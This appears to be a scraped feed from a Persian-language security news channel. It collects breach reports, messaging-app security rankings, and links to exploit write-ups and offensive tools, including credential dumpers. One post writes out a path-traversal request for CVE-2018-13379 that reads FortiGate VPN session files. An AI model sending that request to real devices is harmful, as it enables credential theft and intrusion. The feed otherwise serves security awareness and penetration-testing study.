افشای اطلاعات کاربران hostinger

طبق اطلاعیه منتشر شده از سوی hostinger ،‌آسیب پذیری موجود در API این شرکت باعث لو رفتن اطلاعات نزدیک به ۱۴ میلیون کاربر شده است که در واکنش به این اتفاق، هاستینگر مجبور به ریست کردن پسورد تمامی کاربران شده.



https://www.hostinger.com/blog/security-incident-what-you-need-to-know/



#news
#breach


@sec_nerd

استخراج پسوردهای ذخیره شده در مرورگر کروم


https://github.com/roflsandwich/Chrome-Password-Dumper




#windows
#chrome
#enum


@sec_nerd

A developer copying code from StackOverflow


#fun
#dev


@sec_nerd

SSH Meterpeter pivoting


https://www.homelab.it/index.php/2016/04/21/metasploit-ssh-meterpeter-pivoting/

(google translate)

#ssh
#msf
#pivoting


@sec_nerd

Webmin 1.890 expired Remote Root


https://packetstormsecurity.com/files/154220/webmin1890expired-remoteroot.txt



#webmin
#exploit
#web
#pentest
#perl


@sec_nerd

RCE as root on Marathon-Mesos instance


https://omespino.com/write-up-private-bug-bounty-usd-rce-as-root-on-marathon-instance/


#writeup
#web
#pentest
#bugbounty


@sec_nerd

https://www.humblebundle.com/books/information-technology-security-books


DOWNLOAD:
https://mega.nz/#F!WYU21SSD!oEp2RvBMGJhagkQ5CMrmDw



#ebook


@sec_nerd

رایت آپ
XSS to XXE


https://www.corben.io/XSS-to-XXE-in-Prince/




#writeup
#bugbounty
#web
#pentest

@sec_nerd

امن ترین پیام رسانها از نگاه engadget


۱- سیگنال (امن ترین پیام رسان، چت های رمزنگاری شده بصورت پیشفرض و پیشنهاد کارشناسانی چون ادوارد اسنودن)
۲- تلگرام (رمزنگاری مخصوص و امکان حذف پیام های خود و طرف مقابل)
۳- واتس اپ (رمزنگاری با فناوری سیگنال)
۴- فیسبوک مسنجر (عدم نیاز به شماره تلفن و امکان رمزنگاری با فناوری سیگنال)






https://www.engadget.com/2019/08/28/the-best-encrypted-messaging-apps/



#telegram
#whatsapp
#signal
#facebook


@sec_nerd

امکان آلوده سازی کلاینت های سرویس Pulse secure که خطر حملات باج افزاری را در شبکه های حساس افزایش میدهد!



#pulse
#vpn
#security



@sec_nerd

مجموعه گزارشات مربوط به سیستم عامل اندروید در وبسایت Hackerone.com


https://github.com/B3nac/Android-Reports-and-Resources



#bugbounty
#android


@sec_nerd

Using the wrong tool for the job.


#programming
#hack


@sec_nerd

CVE-2018-13379

https://github.com/milo2012/CVE-2018-13379



fortiGate SSL VPN

GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession



#fortigate
#fortiOS
#firewall
#vpn


@sec_nerd

اثبات سه آسیب پذیری در Cisco UCS Director


-CVE-2019-1935 (default password)
-CVE-2019-1936 (command injection)
-CVE-2019-1937 (auth bypass)


https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt




#cisco
#network
#rce
#exploit


@sec_nerd

سرورهای Foxit توسط هکرها مورد نفوذ قرار گرفتند!

در این حمله جزییات اطلاعات کاربران نظیر ایمیل، پسورد، شماره تلفن، نام کاربری و نام شرکت و آدرس آی پی به سرقت رفته است.



https://www.foxitsoftware.com/support/security-advisories.php



#breach
#news
#foxit


@sec_nerd

دور زدن IPS و IDS و WAF با استفاده از فانکشن parser_str در php


https://www.secjuice.com/abusing-php-query-string-parser-bypass-ids-ips-waf/


#waf
#web
#pentest
#Bypass


@sec_nerd

استخراج پسوردهای سیستم عامل ویندوز


https://pentestlab.blog/2018/04/04/dumping-clear-text-credentials/


#windows
#enum
#privesc


@sec_nerd

پس از گذشت چند سال از نفوذ ویروس استاکس نت در سایت هسته ای نطنز، اخیرا مشخص شد که انتقال اطلاعات به سرویس های جاسوسی امریکا و اسراییل توسط سرویس جاسوسی هلند انجام شد!

سرویس جاسوسی هلند با کمک یک فرد ایرانی که در این سایت نقش مکانیک را داشت، با دستور موساد و سیا اطلاعات داخلی سایت را از سال ۲۰۰۴ جمع آوری کرد تا ویروس را بصورت هدفمند طراحی کند. در ادامه این فرد انتقال ویروس به داخل سیستم های سایت نطنز با استفاده از یک فلش را نیز انجام داد.


منبع:
https://news.yahoo.com/revealed-how-a-secret-dutch-mole-aided-the-us-israeli-stuxnet-cyber-attack-on-iran-160026018.html?soc_src=community&soc_trk=tw


#news
#iran
#usa
#israel
#stuxnet
#germany


@sec_nerd